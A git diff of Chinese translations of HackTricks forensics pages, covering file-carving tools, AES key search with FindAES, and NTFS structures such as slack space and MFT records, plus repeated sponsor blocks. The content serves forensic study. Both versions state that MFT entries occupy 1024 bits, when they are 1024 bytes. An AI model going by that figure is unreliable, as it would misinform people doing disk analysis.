||||
浏览工具收集的**所有信息**(密码?),**分析**数据包(阅读[**Pcaps分析**](../pcap-inspection/)),搜索**奇怪的域名**(与**恶意软件**或**不存在**相关的域名)。
|
||||
|
||||
## PhotoRec
|
||||
|
||||
你可以在[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)找到它
|
||||
您可以在[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)找到它。
|
||||
|
||||
它提供了GUI和CLI版本。你可以选择让PhotoRec搜索你想要的**文件类型**。
|
||||
它带有GUI和CLI版本。您可以选择要PhotoRec搜索的**文件类型**。
|
||||
|
||||
![](<../../../.gitbook/assets/image (524).png>)
|
||||
|
||||
## binvis
|
||||
|
||||
查看[代码](https://code.google.com/archive/p/binvis/)和[网页工具](https://binvis.io/#/).
|
||||
检查[代码](https://code.google.com/archive/p/binvis/)和[网页工具](https://binvis.io/#/)。
|
||||
|
||||
### BinVis的特点
|
||||
|
||||
* 视觉和活动的**结构查看器**
|
||||
* 多个图表用于不同的关注点
|
||||
* 聚焦样本的部分
|
||||
* **查看字符串和资源**,例如在PE或ELF可执行文件中
|
||||
* 获取文件加密分析的**模式**
|
||||
* **发现**打包器或编码器算法
|
||||
* **识别**模式中的隐写术
|
||||
* **视觉**二进制差异比较
|
||||
* 视觉和活跃的**结构查看器**
|
||||
* 不同焦点的多个绘图
|
||||
* 集中在样本的部分
|
||||
* 在PE或ELF可执行文件中**查看字符串和资源**
|
||||
* 获取用于文件加密分析的**模式**
|
||||
* **发现**打包程序或编码器算法
|
||||
* 通过模式**识别**隐写术
|
||||
* **视觉**二进制差异
|
||||
|
||||
BinVis是在黑盒场景中**熟悉未知目标的绝佳起点**。
|
||||
BinVis是在黑盒测试场景中熟悉未知目标的**起点**。
|
||||
|
||||
# 特定数据雕刻工具
|
||||
# 特定数据刻录工具
|
||||
|
||||
## FindAES
|
||||
|
||||
通过搜索它们的密钥调度来搜索AES密钥。能够找到128、192和256位密钥,例如那些被TrueCrypt和BitLocker使用的。
|
||||
通过搜索密钥计划来搜索AES密钥。能够找到128、192和256位密钥,例如TrueCrypt和BitLocker使用的密钥。
|
||||
|
||||
下载[这里](https://sourceforge.net/projects/findaes/).
|
||||
在此处下载[here](https://sourceforge.net/projects/findaes/)。
|
||||
|
||||
# 补充工具
|
||||
# 附加工具
|
||||
|
||||
你可以使用[**viu**](https://github.com/atanunq/viu)在终端查看图片。\
|
||||
你可以使用linux命令行工具**pdftotext**将pdf转换为文本并阅读。
|
||||
您可以使用[**viu**](https://github.com/atanunq/viu)在终端中查看图像。\
|
||||
您可以使用Linux命令行工具**pdftotext**将PDF转换为文本并阅读它。
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便你可以更快地修复它们。Intruder追踪你的攻击面,运行主动威胁扫描,在你的整个技术栈中找到问题,从API到web应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果你想在HackTricks上看到你的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,28 +1,28 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 文件提取工具
|
||||
# 数据碎片重组工具
|
||||
|
||||
## Autopsy
|
||||
|
||||
在取证中用于从镜像中提取文件的最常用工具是 [**Autopsy**](https://www.autopsy.com/download/)。下载并安装它,让它处理文件以找到“隐藏”的文件。请注意,Autopsy 支持磁盘镜像和其他类型的镜像,但不支持简单文件。
|
||||
在取证中最常用的用于从图像中提取文件的工具是[**Autopsy**](https://www.autopsy.com/download/)。下载、安装并让其摄取文件以查找“隐藏”文件。请注意,Autopsy专为支持磁盘映像和其他类型的映像构建,而不是简单文件。
|
||||
|
||||
## Binwalk <a id="binwalk"></a>
|
||||
|
||||
**Binwalk** 是一个用于搜索二进制文件(如图像和音频文件)中嵌入的文件和数据的工具。
|
||||
它可以通过 `apt` 安装,但源代码可以在github上找到。
|
||||
**Binwalk**是一种用于搜索二进制文件(如图像和音频文件)中嵌入文件和数据的工具。
|
||||
可以使用`apt`安装,但是[源代码](https://github.com/ReFirmLabs/binwalk)可以在github上找到。
|
||||
**有用的命令**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
|
@ -32,7 +32,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
## Foremost
|
||||
|
||||
另一个常用的查找隐藏文件的工具是 **foremost**。你可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果你只想搜索某些特定的文件,取消注释它们。如果你什么都不取消注释,foremost 将搜索其默认配置的文件类型。
|
||||
另一个常用的查找隐藏文件的工具是**foremost**。您可以在`/etc/foremost.conf`中找到foremost的配置文件。如果您只想搜索一些特定文件,请取消注释。如果您不取消注释任何内容,foremost将搜索其默认配置的文件类型。
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -40,54 +40,38 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel** 是另一个可以用来查找和提取**嵌入在文件中的文件**的工具。在这种情况下,你需要在配置文件(_/etc/scalpel/scalpel.conf_)中取消注释你希望它提取的文件类型。
|
||||
**Scalpel** 是另一个工具,可用于查找和提取**嵌入在文件中的文件**。在这种情况下,您需要从配置文件(_/etc/scalpel/scalpel.conf_)中取消注释您希望提取的文件类型。
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
## Bulk Extractor
|
||||
|
||||
此工具包含在kali中,但您也可以在此处找到:[https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor)
|
||||
这个工具包含在kali中,但你也可以在这里找到它: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
此工具可以扫描映像,并将从中**提取pcaps**,**网络信息(URLs, 域名, IPs, MACs, 邮箱)**以及更多**文件**。您只需执行:
|
||||
这个工具可以扫描一个镜像,并且会**提取其中的pcaps**,**网络信息(URLs, domains, IPs, MACs, mails)**以及更多**文件**。你只需要执行以下操作:
|
||||
```text
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
浏览该工具收集的**所有信息**(密码?),**分析** **数据包**(阅读[**Pcaps分析**](../pcap-inspection/)),搜索**奇怪的域名**(与**恶意软件**或**不存在的**域名相关)。
|
||||
浏览工具收集的**所有信息**(密码?),**分析**数据包(阅读[**Pcaps分析**](../pcap-inspection/)),搜索**奇怪的域名**(与**恶意软件**或**不存在**相关的域名)。
|
||||
|
||||
## PhotoRec
|
||||
|
||||
您可以在[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)找到它
|
||||
您可以在[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)找到它。
|
||||
|
||||
它提供了GUI和CLI版本。您可以选择希望PhotoRec搜索的**文件类型**。
|
||||
它带有GUI和CLI版本。您可以选择要让PhotoRec搜索的**文件类型**。
|
||||
|
||||
![](../../../.gitbook/assets/image%20%28524%29.png)
|
||||
|
||||
# 特定数据雕刻工具
|
||||
# 特定数据刻录工具
|
||||
|
||||
## FindAES
|
||||
|
||||
通过搜索它们的密钥调度来搜索AES密钥。能够找到128、192和256位密钥,例如TrueCrypt和BitLocker使用的密钥。
|
||||
通过搜索其密钥计划来搜索AES密钥。能够找到128、192和256位密钥,例如TrueCrypt和BitLocker使用的密钥。
|
||||
|
||||
下载[这里](https://sourceforge.net/projects/findaes/)。
|
||||
|
||||
# 补充工具
|
||||
# 附加工具
|
||||
|
||||
您可以使用[**viu**](https://github.com/atanunq/viu)在终端查看图片。
|
||||
您可以使用linux命令行工具**pdftotext**将pdf转换为文本并阅读。
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
您可以使用[**viu**](https://github.com/atanunq/viu)在终端中查看图像。
|
||||
您可以使用Linux命令行工具**pdftotext**将PDF转换为文本并阅读它。
|
||||
|
|
|
@ -4,95 +4,95 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## **NTFS**
|
||||
|
||||
**NTFS**(**新技术文件系统**)是微软开发的专有日志文件系统。
|
||||
**NTFS**(新技术文件系统)是由Microsoft开发的专有日志文件系统。
|
||||
|
||||
簇是NTFS中最小的大小单位,簇的大小取决于分区的大小。
|
||||
在NTFS中,簇是最小的大小单位,簇的大小取决于分区的大小。
|
||||
|
||||
| 分区大小 | 每簇扇区数 | 簇大小 |
|
||||
| ------------------------ | ------- | -------- |
|
||||
| 512MB或更小 | 1 | 512字节 |
|
||||
| 513MB-1024MB (1GB) | 2 | 1KB |
|
||||
| 1025MB-2048MB (2GB) | 4 | 2KB |
|
||||
| 2049MB-4096MB (4GB) | 8 | 4KB |
|
||||
| 4097MB-8192MB (8GB) | 16 | 8KB |
|
||||
| 8193MB-16,384MB (16GB) | 32 | 16KB |
|
||||
| 16,385MB-32,768MB (32GB) | 64 | 32KB |
|
||||
| 超过32,768MB | 128 | 64KB |
|
||||
| 分区大小 | 每簇扇区数 | 簇大小 |
|
||||
| ------------------------ | ------------------- | ------------ |
|
||||
| 512MB或更小 | 1 | 512字节 |
|
||||
| 513MB-1024MB(1GB) | 2 | 1KB |
|
||||
| 1025MB-2048MB(2GB) | 4 | 2KB |
|
||||
| 2049MB-4096MB(4GB) | 8 | 4KB |
|
||||
| 4097MB-8192MB(8GB) | 16 | 8KB |
|
||||
| 8193MB-16,384MB(16GB) | 32 | 16KB |
|
||||
| 16,385MB-32,768MB(32GB)| 64 | 32KB |
|
||||
| 大于32,768MB | 128 | 64KB |
|
||||
|
||||
### **松弛空间**
|
||||
|
||||
由于NTFS中最小的大小单位是**簇**。每个文件将占用几个完整的簇。因此,**每个文件占用的空间很可能比必要的更多**。这些**未使用的**、被文件**预留**的空间称为**松弛空间**,人们可以利用这个区域来**隐藏信息**。
|
||||
由于NTFS中最小的大小单位是**簇**。每个文件将占用多个完整的簇。因此,**每个文件占用的空间可能比必要的空间多**。这些文件**未使用的**空间**由文件预订**,称为**松弛**空间,人们可以利用这个区域来**隐藏**信息。
|
||||
|
||||
![](<../../../.gitbook/assets/image (498).png>)
|
||||
|
||||
### **NTFS启动扇区**
|
||||
### **NTFS引导扇区**
|
||||
|
||||
当您格式化NTFS卷时,格式化程序会为启动元数据文件分配前16个扇区。第一个扇区是带有"引导"代码的启动扇区,接下来的15个扇区是启动扇区的IPL(初始程序加载器)。为了提高文件系统的可靠性,NTFS分区的最后一个扇区包含启动扇区的备份副本。
|
||||
当格式化NTFS卷时,格式化程序为引导元数据文件分配了前16个扇区。第一个扇区是带有“引导加载程序”代码的引导扇区,接下来的15个扇区是引导扇区的IPL(初始程序加载器)。为了增加文件系统的可靠性,NTFS分区的最后一个扇区包含引导扇区的备用副本。
|
||||
|
||||
### **主文件表(MFT)**
|
||||
|
||||
NTFS文件系统包含一个称为主文件表(MFT)的文件。NTFS文件系统卷上的每个文件,包括MFT本身,至少都有**一个MFT条目**。关于文件的所有信息,包括其**大小、时间和日期戳、权限和数据内容**,都存储在MFT条目中或由MFT条目描述的MFT外部空间中。
|
||||
NTFS文件系统包含一个称为主文件表(MFT)的文件。在NTFS文件系统卷上,至少有**一个MFT条目对应每个文件**,包括MFT本身。有关文件的所有信息,包括其**大小、时间戳、权限和数据内容**,都存储在MFT条目中或在MFT条目描述的MFT之外的空间中。
|
||||
|
||||
随着**文件被添加**到NTFS文件系统卷,MFT中添加了更多条目,**MFT的大小增加**。当**文件**从NTFS文件系统卷中**删除**时,它们的**MFT条目被标记为可用**,并可能被重用。然而,已分配给这些条目的磁盘空间不会被重新分配,MFT的大小不会减小。
|
||||
当**文件**添加到NTFS文件系统卷时,MFT中会添加更多条目,**MFT的大小会增加**。当从NTFS文件系统卷中**删除**文件时,它们的**MFT条目被标记为自由**,可以重新使用。但是,为这些条目分配的磁盘空间不会重新分配,MFT的大小也不会减小。
|
||||
|
||||
NTFS文件系统**保留空间给MFT,以尽可能保持MFT的连续性**随着它的增长。NTFS文件系统为每个卷中的MFT保留的空间称为**MFT区域**。文件和目录的空间也从这个空间分配,但只有在MFT区域外的所有卷空间都被分配后才会这样做。
|
||||
NTFS文件系统**保留空间用于MFT,以尽可能使MFT连续**。NTFS文件系统在每个卷中为MFT保留的空间称为**MFT区域**。文件和目录的空间也分配自此空间,但只有在MFT区域之外的所有卷空间分配完之后才会分配。
|
||||
|
||||
根据平均文件大小和其他变量,**随着磁盘填满,可能首先分配保留的MFT区域或未保留的磁盘空间**。具有少量相对较大文件的卷将首先分配未保留的空间,而具有大量相对较小文件的卷首先分配MFT区域。在任何一种情况下,当一个区域或另一个区域被完全分配时,MFT的碎片化开始发生。如果未保留的空间完全分配,用户文件和目录的空间将从MFT区域分配。如果MFT区域完全分配,新的MFT条目的空间将从未保留的空间分配。
|
||||
根据平均文件大小和其他变量,**在磁盘填满容量时,可能首先分配保留的MFT区域或磁盘上的未保留空间**。具有少量相对较大文件的卷将首先分配未保留的空间,而具有大量相对较小文件的卷将首先分配MFT区域。在任一情况下,当其中一个区域完全分配时,MFT的碎片化开始发生。如果未保留的空间完全分配,用户文件和目录的空间将从MFT区域分配。如果MFT区域完全分配,新MFT条目的空间将从未保留的空间分配。
|
||||
|
||||
NTFS文件系统还生成了一个**$MFTMirror**。这是MFT的**前4个条目的副本**:$MFT、$MFT Mirror、$Log、$Volume。
|
||||
NTFS文件系统还生成一个**$MFTMirror**。这是MFT的**前4个条目的副本**:$MFT、$MFT Mirror、$Log、$Volume。
|
||||
|
||||
NTFS为表中的前16条记录保留了特殊信息:
|
||||
NTFS为表的前16条记录保留了特殊信息:
|
||||
|
||||
| 系统文件 | 文件名 | MFT记录 | 文件用途 |
|
||||
| --------------------- | --------- | ---- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 主文件表 | $Mft | 0 | 包含NTFS卷上每个文件和文件夹的一个基本文件记录。如果文件或文件夹的分配信息太大而无法适应单个记录,则会分配其他文件记录。 |
|
||||
| 主文件表2 | $MftMirr | 1 | MFT前四条记录的副本图像。这个文件保证了在单个扇区故障的情况下能够访问MFT。 |
|
||||
| 日志文件 | $LogFile | 2 | 包含用于NTFS可恢复性的事务步骤列表。日志文件的大小取决于卷的大小,最大可达4MB。它被Windows NT/2000用来在系统故障后恢复NTFS的一致性。 |
|
||||
| 卷 | $Volume | 3 | 包含有关卷的信息,如卷标签和卷版本。 |
|
||||
| 属性定义 | $AttrDef | 4 | 属性名称、编号和描述的表格。 |
|
||||
| 根文件名索引 | $ | 5 | 根文件夹。 |
|
||||
| 簇位图 | $Bitmap | 6 | 显示哪些簇正在使用的卷的表示。 |
|
||||
| 启动扇区 | $Boot | 7 | 包括用于挂载卷的BPB和额外的引导加载器代码(如果卷是可启动的)。 |
|
||||
| 坏簇文件 | $BadClus | 8 | 包含卷的坏簇。 |
|
||||
| 安全文件 | $Secure | 9 | 包含卷内所有文件的唯一安全描述符。 |
|
||||
| 大写表 | $Upcase | 10 | 将小写字符转换为匹配的Unicode大写字符。 |
|
||||
| NTFS扩展文件 | $Extend | 11 | 用于各种可选扩展,如配额、重解析点数据和对象标识符。 |
|
||||
| | | 12-15 | 保留供将来使用。 |
|
||||
| 配额管理文件 | $Quota | 24 | 包含用户在卷空间上分配的配额限制。 |
|
||||
| 对象ID文件 | $ObjId | 25 | 包含文件对象ID。 |
|
||||
| 重解析点文件 | $Reparse | 26 | 包含有关卷上文件和文件夹的信息,包括重解析点数据。 |
|
||||
| 系统文件 | 文件名 | MFT记录 | 文件用途 |
|
||||
| --------------------- | --------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 主文件表 | $Mft | 0 | 包含NTFS卷上每个文件和文件夹的一个基本文件记录。如果文件或文件夹的分配信息太大而无法适应单个记录,则还会分配其他文件记录。 |
|
||||
| 主文件表2 | $MftMirr | 1 | MFT的前四个记录的重复图像。在单个扇区故障的情况下,此文件保证访问MFT。 |
|
||||
| 日志文件 | $LogFile | 2 | 包含用于NTFS可恢复性的事务步骤列表。日志文件大小取决于卷大小,最大可达4MB。Windows NT/2000在系统故障后使用它来恢复NTFS的一致性。 |
|
||||
| 卷 | $Volume | 3 | 包含有关卷的信息,如卷标签和卷版本。 |
|
||||
| 属性定义 | $AttrDef | 4 | 属性名称、编号和描述的表。 |
|
||||
| 根文件名索引 | $ | 5 | 根文件夹。 |
|
||||
| 簇位图 | $Bitmap | 6 | 显示哪些簇正在使用的卷的表示。 |
|
||||
| 引导扇区 | $Boot | 7 | 包括用于挂载卷的BPB和用于可引导卷的附加引导加载程序代码。 |
|
||||
| 坏簇文件 | $BadClus | 8 | 包含卷的坏簇。 |
|
||||
| 安全文件 | $Secure | 9 | 包含卷内所有文件的唯一安全描述符。 |
|
||||
| 大写表 | $Upcase | 10 | 将小写字符转换为匹配的Unicode大写字符。 |
|
||||
| NTFS扩展文件 | $Extend | 11 | 用于各种可选扩展,如配额、重解析点数据和对象标识符。 |
|
||||
| | | 12-15 | 保留供将来使用。 |
|
||||
| 配额管理文件 | $Quota | 24 | 包含用户分配的卷空间配额限制。 |
|
||||
| 对象ID文件 | $ObjId | 25 | 包含文件对象ID。 |
|
||||
| 重解析点文件 | $Reparse | 26 | 此文件包含有关卷上的文件和文件夹的信息,包括重解析点数据。 |
|
||||
|
||||
### MFT的每个条目如下所示:
|
||||
|
||||
![](<../../../.gitbook/assets/image (499).png>)
|
||||
|
||||
注意每个条目都是以"FILE"开头的。每个条目占用1024位。所以从一个MFT条目的开始后1024位,你会找到下一个。
|
||||
请注意,每个条目以“FILE”开头。每个条目占据1024位。因此,在MFT条目的开始后1024位,您将找到下一个条目。
|
||||
|
||||
使用[**Active Disk Editor**](https://www.disk-editor.org/index.html)可以很容易地检查MFT中文件的条目。只需右键点击文件,然后点击"Inspect File Record"
|
||||
使用[**Active Disk Editor**](https://www.disk-editor.org/index.html)非常容易检查MFT中文件的条目。只需右键单击文件,然后单击“检查文件记录”
|
||||
|
||||
![](<../../../.gitbook/assets/image (500).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (501).png>)
|
||||
|
||||
检查**"In use"**标志可以很容易地知道文件是否被删除(**0x0表示已删除**)。
|
||||
通过检查**“正在使用”**标志,很容易知道文件是否已删除(**0x0表示已删除**)。
|
||||
|
||||
![](<../../../.gitbook/assets/image (510).png>)
|
||||
|
||||
也可以使用FTKImager恢复已删除的文件:
|
||||
还可以使用FTKImager恢复已删除的文件:
|
||||
|
||||
![](<../../../.gitbook/assets/image (502).png>)
|
||||
|
||||
|
@ -102,53 +102,53 @@ NTFS为表中的前16条记录保留了特殊信息:
|
|||
|
||||
![](<../../../.gitbook/assets/image (506).png>)
|
||||
|
||||
每个属性通过类型标识符指示一些条目信息:
|
||||
每个属性表示一些由类型标识的条目信息:
|
||||
|
||||
| 类型标识符 | 名称 | 描述 |
|
||||
| ------- | ------------------------ | -------------------------------------------------------------------------------------------------------- |
|
||||
| 16 | $STANDARD\_INFORMATION | 一般信息,如标志;最后访问、写入和创建时间;以及所有者和安全ID。 |
|
||||
| 32 | $ATTRIBUTE\_LIST | 列出文件的其他属性可以在哪里找到。 |
|
||||
| 48 | $FILE\_NAME | 以Unicode格式的文件名,以及最后访问、写入和创建时间。 |
|
||||
| 64 | $VOLUME\_VERSION | 卷信息。只存在于版本1.2(Windows NT)。 |
|
||||
| 64 | $OBJECT\_ID | 一个16字节的文件或目录唯一标识符。只存在于版本3.0+之后(Windows 2000+)。 |
|
||||
| 80 | $SECURITY\_ DESCRIPTOR | 文件的访问控制和安全属性。 |
|
||||
| 96 | $VOLUME\_NAME | 卷名称。 |
|
||||
| 112 | $VOLUME\_ INFORMATION | 文件系统版本和其他标志。 |
|
||||
| 128 | $DATA | 文件内容。 |
|
||||
| 144 | $INDEX\_ROOT | 索引树的根节点。 |
|
||||
| 160 | $INDEX\_ALLOCATION | 根植于$INDEX\_ROOT属性的索引树的节点。 |
|
||||
| 176 | $BITMAP | $MFT文件和索引的位图。 |
|
||||
| 192 | $SYMBOLIC\_LINK | 软链接信息。只存在于版本1.2(Windows NT)。 |
|
||||
| 192 | $REPARSE\_POINT | 包含有关重解析点的数据,这在版本3.0+(Windows 2000+)中用作软链接。 |
|
||||
| 208 | $EA\_INFORMATION | 用于与OS/2应用程序(HPFS)的向后兼容。 |
|
||||
| 224 | $EA | 用于与OS/2应用程序(HPFS)的向后兼容。 |
|
||||
| 256 | $LOGGED\_UTILITY\_STREAM | 包含有关版本3.0+(Windows 2000+)中加密属性的密钥和信息。 |
|
||||
| 类型标识符 | 名称 | 描述 |
|
||||
| --------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------- |
|
||||
| 16 | $STANDARD\_INFORMATION | 一般信息,如标志;最后访问、写入和创建时间;所有者和安全ID。 |
|
||||
| 32 | $ATTRIBUTE\_LIST | 可在其中找到文件的其他属性的列表。 |
|
||||
| 48 | $FILE\_NAME | 文件名,以Unicode表示,以及最后访问、写入和创建时间。 |
|
||||
| 64 | $VOLUME\_VERSION | 卷信息。仅存在于版本1.2(Windows NT)。 |
|
||||
| 64 | $OBJECT\_ID | 文件或目录的16字节唯一标识符。仅存在于版本3.0+之后(Windows 2000+)。 |
|
||||
| 80 | $SECURITY\_ DESCRIPTOR | 文件的访问控制和安全属性。 |
|
||||
| 96 | $VOLUME\_NAME | 卷名称。 |
|
||||
| 112 | $VOLUME\_ INFORMATION | 文件系统版本和其他标志。 |
|
||||
| 128 | $DATA | 文件内容。 |
|
||||
| 144 | $INDEX\_ROOT | 索引树的根节点。 |
|
||||
| 160 | $INDEX\_ALLOCATION | 以$INDEX\_ROOT属性为根的索引树的节点。 |
|
||||
| 176 | $BITMAP | 用于$MFT文件和索引的位图。 |
|
||||
